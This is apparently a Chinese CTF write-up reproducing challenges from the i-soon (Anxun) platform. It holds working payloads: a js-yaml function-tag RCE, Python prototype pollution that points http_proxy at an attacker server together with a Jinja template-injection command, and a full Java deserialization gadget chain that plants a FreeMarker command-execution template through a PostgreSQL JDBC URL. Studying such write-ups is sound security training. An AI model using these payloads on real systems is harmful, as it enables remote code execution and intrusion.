复现一下安洵的题目 这里就挑几道来复现就行了 复现地址的话在安洵平台上就可以
https://dce.i-soon.net/#/topicBank
直接访问就行了
signal
题目给了附件
⾸先这个题因为是把其他⽂件格式转换为yaml格式然后yaml.load()
会加载为js对象
然后就去查这个js-yaml
是否存在漏洞 啥的
这是默认为危险模式的最后⼀个版本,该模式允许您使⽤ tag 构造任意 JS 函数。!!js/function
直接去搜索js-yaml RCE
也能搜索到类似的文章
https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/
最终payload
1 2
| "name" : { toString: !!js/function "function(){ flag = process.mainModule.r equire('child_process').execSync('cat /fla*').toString(); return flag;}"}
|
Swagger docs
这个题是比较值得记录的
(这个是在设置http_proxy后 然后可以伪造返回信息的 记录学习一下)
访问给了挺多api接口的 在/api-base/v0/search
这个接口处 发现存在任意文件读取
读取启动进程
然后将源码下载下来后进行审计
在update接口能 是存在一个python的原型链污染 熟悉的话应该能直接看出了
在search接口的话是存在这个模板渲染的
但是data不可控 因为他是访问服务器本地的api接口来获取文件
所以我们想控制返回内容来进行模板渲染的话 我们可以污染环境变量http_proxy
来使自己的服务器来当作代理服务器 从而控制返回内容(就是类似于中间人攻击)
python原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
{ "__init__": { "__globals__": { "os": { "environ": { "http_proxy":"ip:port" } } } } }
|
然后随便发送一个请求 if request.args.get('type') == "text":
type必须为text 不然不会进到模板渲染里
1 2 3
| HTTP/1.1 200 OK
{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}
|
这里就是我们伪造的响应包
结果返回
ez_java
https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava 参考wp
这个题就是如何连接上CB的断链 就是找新的反序列化入口
给的提示
看下有依赖 发现是存在三个依赖 那么就是用这三个东西来组合打了
在看了眼黑名单 发现是把jackson
给过滤掉了 还把cb链的1前半段和后半段触发点给加黑名单了 那么就是用cb
链和postgresql
组合来打了
(给了docker 看了眼 jdk是高版本 那么jndi和rmi是打不了了)
前半段的话是PriorityQueue
用不了 那么我们就得找别的能序列化 并且能触发compare方法的类了
这里的话是有 treemap和treebag符合条件(这里使用treebag来演示)
这里的map 是指的treemap的实例化对象 跟进treemap的put方法
只要控制了这个comparator这个参数 那么我们就可以完全替代PriorityQueue
了
那么我们就剩最后一步了 就是这个getter 这里给的是这个postgresql
于是就猜测是打他的jdbc
因为题目不出网 在加上给的源码中有个index.ftl 就不难想到是写入文件覆盖掉index.ftl里的内容
加上前面题目提示的BaseDataSource类 里面刚好是有个getconnection方法 于是链子就构造完成了
最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| package com.ctf.axb;
import com.javasec.utils.SerializeUtils; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.rowset.JdbcRowSetImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.bag.TreeBag; import org.postgresql.ds.PGConnectionPoolDataSource;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.charset.StandardCharsets; import java.rmi.Naming; import java.util.*;
public class demo {
public static void main(String[] args) throws Exception{
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource(); String loggerLevel = "debug"; String loggerFile = "/app/templates/index.ftl"; String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}"; System.out.println(shellContent); String jdbcUrl = "jdbc:postgresql://"+"47.108.206.43:39201"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel; pgConnectionPoolDataSource.setURL(jdbcUrl); pgConnectionPoolDataSource.setServerNames(new String[]{shellContent}); BeanComparator comparator = new BeanComparator(); SerializeUtils.setFieldValue(comparator, "property", "connection"); TreeBag treeBag = new TreeBag(comparator); TreeMap<Object,Object> m = new TreeMap<>(); SerializeUtils.setFieldValue(m, "size", 2); SerializeUtils.setFieldValue(m, "modCount", 2); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger"); Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null); Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
SerializeUtils.setFieldValue(node, "right", right); SerializeUtils.setFieldValue(m, "root", node); SerializeUtils.setFieldValue(m, "comparator", comparator); SerializeUtils.setFieldValue(treeBag,"map",m); System.out.println(SerializeUtils.base64serial(treeBag)); SerializeUtils.deserTester(treeBag);
} }
|
这里话解释上述代码中几个段的问题
这里话就是实例化TreeMap类中的内部类Entry类 这个类的话是因为内部类 所以需要反射来进行实例化
1
| Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
|
这一步是对内部类的反射实例化 (只不过因为这个是protected 所以用这个createWithoutConstructor方法来实例化)
这两行的话就是给上面刚刚实例化的Entry内部类的构造函数进行赋值
ai_java
这个题就是SerializedData + LDAP攻击 然后打fastjson
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/JNDI/#serializeddata--ldap%E6%94%BB%E5%87%BB
这篇文章写的不错